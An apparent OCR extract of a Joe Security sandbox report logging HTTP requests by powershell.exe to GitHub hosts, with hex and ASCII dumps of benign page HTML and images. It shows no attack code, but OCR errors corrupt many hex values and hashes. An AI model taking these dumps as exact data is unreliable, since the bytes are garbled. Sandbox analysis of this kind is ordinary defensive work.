74 3b 3a 26 71 75 6f 74 3b 48 6f 6d 65 26 71 75 6f 74 3b 2¢ 26 71 75 6f 74 3b 61 63 74 69 6f 6e 26 71 75 6f 74 3b 3a 26
71 75 6f 74 3b 63 6¢ 69 63 6b 20 74 6f 20 67 6f 20 74 6f 20 72 65 70 6f 73 69 74 6f 72 79 26 71 75 6f 74 3b 2¢ 26 71 75 6f
74 3b 6¢ 61 62 65 6¢ 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 72 65 66 5f 70 61 67 65 3a 2f 3b 72 65 66 5f 63 74 61 3a 6f
68 6d 79 7a 73 68 2f 6f 68 6d 79 7a 73 68 3b 72 65 66 5f 6¢

Data Ascii: ard-border-light-mktg text-gray-light-mktg no-underline" data-analytics-event="{&quot;categor
y&quot;:&quot;Home&quot;,&quot;action&quot;:&quot;click to go to repository&quot;,&quot;label&quot;:&quot;ref_
page:/;ref_cta:ohmyzsh/ohmyzsh;ref_|

Data Raw: 20 20 20 20 20 20 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6¢ 61 73 73 3d
22 64 2d 66 6¢ 65 78 20 66 6¢ 65 78 2d 69 74 65 6d 73 2d 63 65 6e 74 65 72 20 6d 62 2d 32 22 3e 0a 20 20 20 20 20 20
2020 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 61 76 61 74 61 72 73 2e 67 6
97468 7562 75 73 65 72 63 6f 6 74 65 6e 74 2e 63 6f 6d 2f 66 61 63 65 62 6f 6f 6b 3f 73 3d 36 34 26 61 6d 70 3b 76 3
d 34 22 20 61 6¢ 74 3d 22 46 61 63 65 62 6f 6f 6b 22 20 63 6¢ 61 73 73 3d 22 63 6f 6¢ 6f 72 2d 62 67 2d 64 65 66 61 75 6
c7420617661746172206176617461722d 3520 72 6f75 6e 64 6564 2d 32 20 6d 72 2d 32 22 20 6¢ 6f 61 64 69
6e 67 3d 22 6¢ 61 7a 79 22 20 64 65 63 6f 64 69 6e 67 3d 22 61 73

Data Ascii: > <div class="d-flex flex-items-center mb-2"> <img src="https://avatars.githubus
ercontent.com/facebook?s=64&amp;v=4" alt="Facebook" class="color-bg-default avatar avatar-5 rounded-2 mr-2" lo
ading="lazy" decoding="as

Data Raw: 3e 6e 70 6d 2f 3c 73 70 61 6e 20 63 6¢ 61 73 73 3d 22 63 6f 6¢ 6f 72 2d 66 67 2d 64 65 66 61 75 6¢ 74 22 3e
63 6¢ 69 3c 2f 73 70 61 6e 3e 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20
2020 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 63 6¢ 61 73 73 3d 22 66 36 2d 6d 6b 74 67 20 6d 62 2d 30 20 6¢ 69
6e 65 2d 63 6¢ 61 6d 70 2d 32 22 20 73 74 79 6¢ 65 3d 22 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 20
76 65 72 74 69 63 61 6¢ 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 20 33 65 6d 3b 22 3e 54 68 65 20 70 61 63 6b 61 67 65
20 6d 61 6e 61 67 65 72 20 66 6f 72 20 4a 61 76 61 53 63 72 69 70 74 3c 2f 70 3e Oa 20 20 20 20 20 20 20 20 20 20 20
20 20 20 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64

Data Ascii: >npm/<span class="color-fg-default">cli</span></p> </div> <p class="f6-mktg mb-0 line-cl
amp-2" style="-webkit-box-orient: vertical; min-height: 3em;">The package manager for JavaScript</p> </a>
</d

Data Raw: 3b 46 6f 6f 74 65 72 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 61 63 74 69 6f 6e 26 71 75 6f 74 3b 3a 26 71 75 6f
74 3b 67 6f 20 74 6f 20 66 65 61 74 75 72 65 73 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 6¢ 61 62 65 6¢ 26 71 75 6f 74 3b
3a 26 7175 6f 74 3b 74 65 78 74 3a 66 65 61 74 75 72 65 73 26 71 75 6f 74 3b 7d 22 20 68 72 65 66 3d 22 2f 66 65 61
74757265 73 22 3e 46 65 61 74 75 72 65 73 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 6¢ 69 3e 0a 20 20 20
20 20 20 20 20 20 20 3c 6¢ 69 20 63 6¢ 61 73 73 3d 22 6¢ 68 2d 63 6f 6€ 64 65 6e 73 65 64 20 6d 62 2d 33 22 3e 0a 20
20 20 20 20 20 20 20 20 20 20 20 3c 61 20 63 6¢ 61 73 73 3d 22 4c 69 6e 6b 2d 2d 73 65 63 6f 6 64 61 72 79 22 20 64 6
17461 2d61 6e 61 6¢ 79 74 69 63 73 2d 65 76 65 6e 74 3d 22 7b

Data Ascii: ;Footer&quot;,&quot;action&quot;:&quot;go to features&quot;,&quot;label&quot;:&quot;text:features&quot;}" hr
ef="/features">Features</a> </li> <li class="lh-condensed mb-3"> <a class="Link--secondary" data-
analytics-event="{

Data Raw: 74 69 6f 6e 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 67 6f 20 74 6f 20 63 75 73 74 6f 6d 65 72 20 73 74 6f 72 69
65 73 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 6¢ 61 62 65 6¢ 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 74 65 78 74 3a 63 75
73 74 6f 6d 65 72 20 73 74 6f 72 69 65 73 26 71 75 6f 74 3b 7d 22 20 68 72 65 66 3d 22 2f 63 75 73 74 6f 6d 65 72 2d 73
74 6f 72 69 65 73 3f 74 79 70 65 3d 65 6e 74 65 72 70 72 69 73 65 22 3e 43 75 73 74 6f 6d 65 72 20 73 74 6f 72 69 65 73
3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 6¢ 69 3e 0a 20 20 20 20 20 20 20 20 20 20 3¢ 6¢ 69 20 63 6¢ 61 73
73 3d 22 6¢ 68 2d 63 6f 6e 64 65 6e 73 65 64 20 6d 62 2d 33 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 63
6¢c 61 73 73 3d 22 4c 69 6e 6b 2d 2d 73 65 63 6f 6e 64 61 72

Data Ascii: tion&quot;:&quot;go to customer stories&quot;,&quot;label&quot;:&quot;text:customer stories&quot;}* href="/c
ustomer-stories?type=enterprise“>Customer stories</a> </li> <li class="lh-condensed mb-3"> <a
class="Link--secondar

Data Raw: 20 20 20 20 20 20 20 3c 2f 75 6c 3e Oa 20 20 20 20 20 20 3c 2f 64 69 76 3e Oa 0a 20 20 20 20 20 20 3c 64 69
76 20 63 6¢ 61 73 73 3d 22 63 6f 6¢ 2d 36 20 63 6f 6¢ 2d 73 6d 2d 33 20 63 6f 6¢ 2d 6¢ 67 2d 32 20 6d 62 2d 36 20 6d 62
2d 6d 64 2d 32 20 70 72 2d 33 20 70 72 2d 6d 64 2d 30 20 70 6c 2d 6d 64 2d 34 22 3e 0a 20 20 20 20 20 20 20 20 3c 68
322063 6¢ 61 73 73 3d 22 68 35 20 6d 62 2d 33 20 74 65 78 74 2d 6d 6f 6e 6f 20 63 6f 6¢ 6f 72 2d 66 67 2d 6d 75 74 65
64 20 74 65 78 74 2d 6e 6f 72 6d 61 6¢ 22 3e 0a 20 20 20 20 20 20 20 20 20 20 50 6¢ 61 74 66 6f 72 6d Oa 20 20 20 20
20 20 20 20 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 3c 75 6¢ 20 63 6¢ 61 73 73 3d 22 6¢ 69 73 74 2d 73 74 79 6¢C 6
5 2d 6e 6f 6e 65 20 66 35 22 3e 0a 20 20 20 20 20 20 20 20 20 20

Data Ascii: </ul>  </div>  <div class="col-6 col-sm-3 col-Ig-2 mb-6 mb-md-2 pr-3 pr-md-0 pl-md-4"> <h2
class="h5 mb-3 text-mono color-fg-muted text-normal"> Platform </h2> <ul class="list-style-none f5">

Data Raw: 6f 72 67 22 3e 45 6¢ 65 63 74 72 6f 6e 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 6¢ 69 3e 0a 20 20
2020 20 20 20 20 20 20 3c 6¢ 69 20 63 6¢ 61 73 73 3d 22 6¢ 68 2d 63 6f 6e 64 65 6e 73 65 64 20 6d 62 2d 33 22 3e Oa
202020 20 20 20 20 20 20 20 20 20 3c 61 20 63 6¢ 61 73 73 3d 22 4c 69 6e 6b 2d 2d 73 65 63 6f 6e 64 61 72 79 22 20
64 61 74 61 2d 61 6e 61 6¢ 79 74 69 63 73 2d 65 76 65 6€ 74 3d 22 7b 26 71 75 6f 74 3b 63 61 74 65 67 6f 727926 71 7
5 6f 74 3b 3a 26 71 75 6f 74 3b 46 6f 6f 74 65 72 26 71 75 6f 74 3b 2¢ 26 71 75 6f 74 3b 61 63 74 69 6f 6€ 26 71 75 6f 74
3b 3a 26 71 75 6f 74 3b 67 6f 20 74 6f 20 64 65 73 6b 74 6f 70 26 71 75 6f 74 3b 2¢ 26 71 75 6f 74 3b 6C 61 62 65 6C 26
7175 6f 74 3b 3a 26 71 75 6f 74 3b 74 65 78 74 3a 64 65 73 6b

Data Ascii: org">Electron</a> </li> <li class="lh-condensed mb-3"> <a class="Link--secondary" data-
analytics-event="{&quot;category&quot;:&quot;Footer&quot;,&quot;action&quot;:&quot;go to desktop&quot;,&quot;lab
el&quot;:&quot;text:desk

Data Raw: 3b 2c 26 71 75 6f 74 3b 6¢ 61 62 65 6¢ 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 74 65 78 74 3a 70 72 6f 66 65
7373 69 6f 6e 61 6¢ 20 73 65 72 76 69 63 65 73 26 71 75 6f 74 3b 7d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73
6572 76 69 63 65 73 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 22 3e 50 72 6f 66 65 73 73 69 6f 6e 61 6¢ 20 53 65 72 76 69 63
65 73 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 6¢ 69 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 6¢ 69 20 63 6¢
61 73 73 3d 22 6¢ 68 2d 63 6f 6e 64 65 6e 73 65 64 20 6d 62 2d 33 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 61
2063 6¢ 61 73 73 3d 22 4c 69 6e 6b 2d 2d 73 65 63 6f 6e 64 61 72 79 22 20 64 61 74 61 2d 61 6e 61 6C 79 74 69 63 73 2
d 65 76 65 6e 74 3d 22 7b 26 71 75 6f 74 3b 63 61 74 65 67 6f 72

Data Ascii: ;,&quot;label&quot;:&quot;text:professional services&quot;}" href="https://services.github.com/">Professional
Services</a> </li> <li class="lh-condensed mb-3"> <a class="Link--secondary" data-analytics-event="
{&quot;categor
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Data

Data Raw: 4c 69 6e 6b 2d 2d 73 65 63 6f 6e 64 61 72 79 22 20 64 61 74 61 2d 61 6e 61 6¢ 79 74 69 63 73 2d 65 76 65 6e
743d 22 7b 26 71 75 6f 74 3b 63 61 74 65 67 6f 72 79 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 46 6f 6f 74 65 72 26 71 75
6f 74 3b 2c 26 71 75 6f 74 3b 61 63 74 69 6f 6e 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 67 6f 20 74 6f 20 61 62 6f 75 74
26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 6¢ 61 62 65 6¢ 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 74 65 78 74 3a 61 62 6f 75
74267175 6f 74 3b 7d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 61 62 6f 75 74
22 3e 41 62 6f 75 74 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 6¢ 69 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 6¢
69 20 63 6¢ 61 73 73 3d 22 6¢ 68 2d 63 6f 6e 64 65 6e 73

Data Ascii: Link--secondary" data-analytics-event="{&quot;category&quot;:&quot;Footer&quot;,&quot;action&quot;
:&quot;go to about&quot;,&quot;label&quot;:&quot;text:about&quot;}" href="https://github.com/about">About</a> <
Ni> <li class="lh-condens

Data Raw: 73 3d 22 6¢ 68 2d 63 6f 6e 64 65 6e 73 65 64 20 6d 62 2d 33 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3¢
6120 63 6¢ 61 73 73 3d 22 4c 69 6e 6b 2d 2d 73 65 63 6f 6 64 61 72 79 22 20 64 61 74 61 2d 61 6e 61 6¢ 79 74 69 63
73 2d 65 76 65 6e 74 3d 22 7b 26 71 75 6f 74 3b 63 61 74 65 67 6f 72 79 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 46 6f 6f
74657226 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 61 63 74 69 6f 6e 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 67 6f 20 74 6f
20 73 6f 63 69 61 6¢ 20 69 6d 70 61 63 74 26 71 75 6f 74 3b 2¢c 26 71 75 6f 74 3b 6¢ 61 62 65 6C 26 71 75 6f 74 3b 32 26
71 75 6f 74 3b 74 65 78 74 3a 73 6f 63 69 61 6¢ 20 69 6d 70 61 63 74 26 71 75 6f 74 3b 7d 22 20 68 72 65 66 3d 22 68
74 74 70 73 3a 2f 2f 73 6f 63 69 61 6¢ 69 6d 70 61 63 74 2e 67

Data Ascii: s="lh-condensed mb-3"> <a class="Link--secondary" data-analytics-event="{&quot;category&quot;:&qu
ot;Footer&quot;,&quot;action&quot;:&quot;go to social impact&quot;,&quot;label&quot;:&quot;text:social impact&quot;}" hr
ef="https://socialimpact.g

Data Raw: 73 70 61 6e 3e Oa 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 3c 2f 6¢ 69 3e Oa 20
2020 20 20 20 20 20 3c 6¢ 69 20 63 6¢ 61 73 73 3d 22 6d 72 2d 33 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 61 20 68
72 6566 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 47 69 74 48 75 62 22 20 64 61
74 61 2d 61 6e 61 6¢ 79 74 69 63 73 2d 65 76 65 6e 74 3d 22 7b 26 71 75 6f 74 3b 63 61 74 65 67 6f 72 79 26 71 75 6f
74 3b 3a 26 71 75 6f 74 3b 46 6f 6f 74 65 72 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 61 63 74 69 6f 6e 26 71 75 6f 74 3b
3a 26 71 75 6f 74 3b 67 6f 20 74 6f 20 46 61 63 65 62 6f 6f 6b 26 71 75 6f 74 3b 2¢ 26 71 75 6f 74 3b 6C 61 62 65 6C 26
7175 6f 74 3b 3a 26 71 75 6f 74 3b 74 65 78 74 3a 66 61 63 65

Data Ascii: span> </a> </li> <li class="mr-3"> <a href="https://www.facebook.com/GitHub" data-anal
ytics-event="{&quot;category&quot;:&quot;Footer&quot;,&quot;action&quot;:&quot;go to Facebook&quot;,&quot;labe
|&quot;:&quot;text:face

Data Raw: 61 73 73 3d 22 63 6f 6¢ 6f 72 2d 66 67 2d 73 75 62 74 6¢ 65 22 3e Oa 20 20 20 20 20 20 20 20 20 20 20 20 3c
69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f
6d 2f 69 6d 61 67 65 73 2f 6d 6f 64 75 6¢ 65 73 2f 73 69 74 65 2f 69 63 6f 6e 73 2f 66 6f 6f 74 65 72 2f 6¢ 69 6€ 6b 65 64
69 6e 2e 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 22 20 68 65 69 67 68 74 3d 22 31 38 22 20 63 6¢ 61 73 73 3d 22 64
2d 62 6¢ 6f 63 6b 22 20 6¢ 6f 61 64 69 6e 67 3d 22 6¢ 61 7a 79 22 20 64 65 63 6f 64 69 6e 67 3d 22 61 73 79 6e 63 22 20
61 6¢ 74 3d 22 4c 69 6e 6b 65 64 69 6e 20 69 63 6f 6e 22 3e Oa 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20
63 6¢ 61 73 73 3d 22 73 72 2d 6f 6e 6¢ 79 22 3e 47 69 74 48 75

Data Ascii: ass="color-fg-subtle"> <img src="https://github.githubassets.com/images/modules/site/icons/footer
Nlinkedin.svg" width="19" height="18" class="d-block" loading="lazy" decoding="async" alt="Linkedin icon"> <span
class="sr-only">GitHu

Data Raw: 2f 64 6f 63 73 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 65 6e 2f 67 69 74 68 75 62 2f 73 69 74 65 2d 70 6f 6¢ 69 63
79 2f 67 69 74 68 75 62 2d 70 72 69 76 61 63 79 2d 73 74 61 74 65 6d 65 6e 74 22 20 64 61 74 61 2d 61 6e 61 6C 79 74
69 63 73 2d 65 76 65 6e 74 3d 22 7b 26 71 75 6f 74 3b 63 61 74 65 67 6f 72 79 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 46
6f 6f 74 65 72 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 61 63 74 69 6f 6e 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 67 6f 20
74 6f20 70 72 69 76 61 63 79 26 71 75 6f 74 3b 2¢c 26 71 75 6f 74 3b 6¢ 61 62 65 6C 26 71 75 6f 74 3b 32 26 71 75 6f 74
3b 746578 74 3a 707269 76 61 63 79 26 71 75 6f 74 3b 7d 22 20 63 6¢ 61 73 73 3d 22 4c 69 6e 6b 2d 2d 73 65 63 6f
6e 64 61 72 79 22 3e 50 72 69 76 61 63 79 3c 2f 61 3e Oa 20

Data Ascii: /docs.github.com/en/github/site-policy/github-privacy-statement" data-analytics-event="{&quot;category&quot;
:&quot;Footer&quot;,&quot;action&quot;:&quot;go to privacy&quot;,&quot;label&quot;:&quot;text:privacy&quot;}*
class="Link--secondary">Privacy</a>

Data Raw: 2e 37 35 20 30 20 30 30 2d 31 2e 35 20 30 76 32 2e 35 61 2e 37 35 2e 37 35 20 30 20 30 30 31 2e 35 20 30
76 2d 32 2e 35 7a 22 3e 3c 2f 70 61 74 68 3e 0a 3c 2f 73 76 67 3e 0a 20 20 20 20 3¢ 62 75 74 74 6f 6e 20 74 79 70 65 3d
226275 74 74 6f 6e 22 20 63 6¢ 61 73 73 3d 22 66 6¢ 61 73 68 2d 63 6¢ 6f 73 65 20 6a 73 2d 61 6a 61 78 2d 65 72 72 6f
722d 6469 73 6d 69 73 73 22 20 61 72 69 61 2d 6¢ 61 62 65 6¢ 3d 22 44 69 73 6d 69 73 73 20 65 72 72 6f 72 22 3e Oa
202020202020 3c 73 76 67 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 22 74 72 75 65 22 20 68 65 69 67 68 74 3d 22 31
36 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 36 20 31 36 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 77 69
64 74 68 3d 22 31 36 22 20 64 61 74 61 2d 76 69 65 77 2d 63 6f 6d 70

Data Ascii: .75 0 00-1.5 0v2.5a.75.75 0 001.5 Ov-2.5z"></path></svg> <button type="button" class="flash-close js-ajax-
error-dismiss" aria-label="Dismiss error">  <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" w
idth="16" data-view-comp

Data Raw: 69 6f 6e 2d 66 6¢ 61 73 68 2d 73 69 67 6e 65 64 2d 6f 75 74 22 20 68 69 64 64 65 6e 3e 59 6f 75 20 73 69 67
6e 65 64 20 6f 75 74 20 69 6e 20 61 6e 6f 74 68 65 72 20 74 61 62 20 6f 72 20 77 69 6e 64 6f 77 2e 20 3c 61 20 68 72 65
66 3d 22 22 3e 52 65 6¢ 6f 61 64 3c 2f 61 3e 20 74 6f 20 72 65 66 72 65 73 68 20 79 6f 75 72 20 73 65 73 73 69 6f 6e 2e
3c 2f 73 70 61 6e 3e 0a 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 74 65 6d 70 6¢ 61 74 65 20 69 64 3d 22 73 69 74 65
2d 64 65 74 61 69 6¢ 73 2d 64 69 61 6¢ 6f 67 22 3e 0a 20 20 3c 64 65 74 61 69 6¢ 73 20 63 6¢ 61 73 73 3d 22 64 65 74
61 69 6¢ 73 2d 72 65 73 65 74 20 64 65 74 61 69 6¢ 73 2d 6 76 65 72 6¢ 61 79 20 64 65 74 61 69 6¢ 73 2d 6f 76 65 72 6
€ 6179 2d 64 61 72 6b 20 6¢ 68 2d 64 65 66 61 75 6¢C 74 20 63 6f

Data Ascii: ion-flash-signed-out" hidden>You signed out in another tab or window. <a href="">Reload</a> to refresh your
session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-
dark Ih-default co

Data Raw: 69 76 3e Oa 0a 20 20 20 20 3c 74 65 6d 70 6¢ 61 74 65 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 63 6¢ 69 70
62 6f 61 72 64 2d 63 6f 70 79 2d 62 75 74 74 6f 6e 22 3e 0a 20 20 3c 64 69 76 20 63 6¢ 61 73 73 3d 22 7a 65 72 6f 63 6¢C
69 70 62 6f 61 72 64 2d 63 6f 6e 74 61 69 6e 65 72 20 70 6f 73 69 74 69 6f 6e 2d 61 62 73 6f 6¢ 75 74 65 20 72 69 67 68
74 2d 30 20 74 6f 70 2d 30 22 3e 0a 20 20 20 20 3c 63 6¢ 69 70 62 6f 61 72 64 2d 63 6f 70 79 20 61 72 69 61 2d 6¢ 61
62 65 6¢ 3d 22 43 6f 70 79 22 20 63 6¢ 61 73 73 3d 22 43 6¢ 69 70 62 6f 61 72 64 42 75 74 74 6f 6e 20 62 74 6e 20 6a 73
2d 63 6¢ 69 70 62 6f 61 72 64 2d 63 6f 70 79 20 6d 2d 32 20 70 2d 30 20 74 6f 6f 6¢ 74 69 70 70 65 64 2d 6e 6f 2d 64 65
6c 61 79 22 20 64 61 74 61 2d 63 6f 70 79 2d 66 65 65 64 62 61

Data Ascii: iv>  <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute
right-0 top-0">  <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-
delay" data-copy-feedba

Data Raw: 6f 70 79 3e Oa 20 20 3c 2f 64 69 76 3e Oa 3c 2f 74 65 6d 70 6¢ 61 74 65 3e Oa Oa Oa Oa Oa 20 20 3c 2f 62 6f
64 79 3e Oa 3c 2f 68 74 6d 6¢ 3e 0a Oa 0d Oa 30 0d Oa Od Oa
Data Ascii: opy> </div></template> </body></htm|>0
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Session ID Source IP
10 192.168.2.4
. kBytes
Ti t
imestamp transferred

2022-04-20 13:07:36 UTC 1032

2022-04-20 13:07:36 UTC 1033

2022-04-20 13:07:36 UTC 1033

2022-04-20 13:07:36 UTC 1035

Session ID Source IP

100 192.168.2.4
. kBytes

Timestamp transferred

2022-04-20 13:07:42 UTC 3403

Copyright Joe Security LLC 2022

Source Port

49765

Direction

ouT

Source Port

49859

Direction

ouT

Destination

Destination IP Process

Port
185.199.108.133 443 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Data

GET /joshaber?s=64&v=4 HTTP/1.1

Accept: */*

Accept-Language: en-US

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET
CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)

Host: avatars.githubusercontent.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Connection: close

Content-Length: 1919

Cache-Control: max-age=300

Content-Security-Policy: default-src 'none’

Content-Type: image/jpeg

ETag: "58b8b93538c392b93d6bb53acfe1f4436fc317d8fcfc3dael24a5179b499433e"
Last-Modified: Mon, 23 Jun 2014 16:15:45 GMT
Strict-Transport-Security: max-age=31557600
timing-allow-origin: https://github.com
X-Content-Type-Options: nosniff

X-Frame-Options: deny

X-XSS-Protection: 1; mode=block

X-GitHub-Request-Id: F582:BA84:62D1D0:667099:618C6972
Accept-Ranges: bytes

Date: Wed, 20 Apr 2022 13:07:36 GMT

Via: 1.1 varnish

X-Served-By: cache-mxp6947-MXP

X-Cache: HIT

X-Cache-Hits: 133

X-Timer: $1650460057.856501,VS0,VEO
Access-Control-Allow-Origin: *

X-Fastly-Request-1D: 3fa259b19alfdd496afd4e82936f696f02c00467
Expires: Wed, 20 Apr 2022 13:12:36 GMT

Source-Age: 13868071

Vary: Authorization,Accept-Encoding

Data Raw: ff d8 ff db 00 84 00 08 06 06 07 06 05 08 07 07 07 09 09 08 Oa Oc 14 0d Oc Ob Ob Oc 19 12 13 0f 14 1d 1a 1f 1e
1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 01 09 09 09 Oc
Ob Oc 18 0d 0d 18 32 21 1¢ 21 32 32323232323232323232323232323232323232323232323232323232
323232323232323232323232323232323232323232ffcO00 11 08 00 40 00 40 03 01 22 00 02 11 01 03 11
01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 Oa Ob 10 00 02 01 03 0
302 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 al 08 23 42 bl
c11552d1f024 3362728209 0a1617 1819 1a 25 26 27 28 29 2a

Data Ascii: $.' " #(7),01444'9=82<.34221122222222222222222222222222222222222222222222222222@@"}!1AQ
a"q2#BR$3bro%&’()*

Data Raw: 21 72 4b 62 b9 a9 ad 7c 4f a8 5c bc d2 49 72 1a 43 cb 85 3d 3d 31 5e 55 3¢ 34 9f c¢6 ec 7a e da 4f el 57 3d
75 ee 2c f5 d8 fc eb 7b 19 b3 13 94 61 34 7c 38 1f ¢4 33 5b fa 1c 10 ¢5 19 29 1a 44 07 3c 28 15 e3 7a 4d df 8b 34 a4 f2
dO dc 14 24 92 Oa ee 1f fd 6a e9 ad 7c 75 23 68 a0 5¢ 30 5b a4 63 bb 8c 6e 5e d5 13 al 25 a4 5d d1 13 a8 f9 79 5a bl cc
7c 46 b5 94 6b 29 ab €0 b5 bd ee f2 af 8e 32 1b 04 0f dO fe 34 df 87 1a fc 16 ba ac fa 2e al b5 f4 dd 51 Oc 12 23 74 Oc 46
07 e7 9c 7e 35 e8 da 86 8d 16 ab f0 86 29 65 55 32 5b al bd 46 db ce 01 24 ff 00 e3 a4 fe 95 el 5a fc 66 c3 50 8a 68 cO
41 2a 2¢ 80 a7 40 7d ab d5 c3 da a5 2f 67 2e 9a 1e 45 57 69 e8 73 f6 c1 35 5d 45 de ee €9 20 69 98 bb cc c3 e5 0c 79 e8
3d ea 18 3c d5 62 ¢3 3b 46 70 d4 c4 89 23 c6 e2 4e 79

Data Ascii: !rKb|O\IrC==1"U<4zOW-=u,{a4|83[)D<(zM4$j|u#h\0[cn"%]yZ|Fk)24.Q#tF~5)eU2[F$ZfPhA* @}/g.EWIis5]E iy=
<b;Fp#Ny

Destination IP SR Process

Port
185.199.108.154 443 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Data

GET /images/modules/site/home/community-discussions-2.png HTTP/1.1

Accept: */*

Accept-Language: en-US

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET
CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)

Host: github.githubassets.com

Connection: Keep-Alive
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kBytes

Timestam
P transferred

2022-04-20 13:07:42 UTC 3404

2022-04-20 13:07:42 UTC 3404

2022-04-20 13:07:42 UTC 3406

2022-04-20 13:07:42 UTC 3407

2022-04-20 13:07:42 UTC 3408

2022-04-20 13:07:42 UTC 3410

2022-04-20 13:07:42 UTC 3411

2022-04-20 13:07:42 UTC 3412

Copyright Joe Security LLC 2022

Direction

IN

Data

HTTP/1.1 200 OK

Connection: close

Content-Length: 30556

Access-Control-Allow-Methods: GET

Access-Control-Max-Age: 3600

Last-Modified: Tue, 08 Dec 2020 22:46:32 GMT

ETag: "7dde9069b879145ch78a98fd2a0d10f4"

Content-Type: image/png

Server: AmazonS3

Via: 1.1 varnish, 1.1 varnish

Accept-Ranges: bytes

Date: Wed, 20 Apr 2022 13:07:42 GMT

Age: 3349

X-Served-By: cache-iad-kjyo7100082-IAD, cache-mxp6948-MXP
X-Cache: HIT, HIT

X-Cache-Hits: 1, 1

Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method
Access-Control-Allow-Origin: *

Strict-Transport-Security: max-age=31536000

X-Fastly-Request-ID: 7fbe471ec611fab989e59991f7c7e51cd6dabed6

Data Raw: 89 50 4e 47 0d Oa 1a 0a 00 00 00 0d 49 48 44 52 00 00 03 00 00 00 03 18 08 03 00 00 00 4b da 70 4a 00 00
03 00 50 4c 54 45 ff ff ff {7 7 f7 dO d1 d4 b4 b7 ba ab a4 9c 8f 8c 8d 7f 7c 83 72 69 68 85 7a 74 91 94 97 b2 b1 b3 d9 db
dd fa fb fc c4 b2 a3 7e 73 70 78 6e 6d bd be c2 ed ee ef f2 f4 f5 ce d9 e8 bb bc be d1 be ac 93 90 98 e7 €9 eb be c2 c6 9a
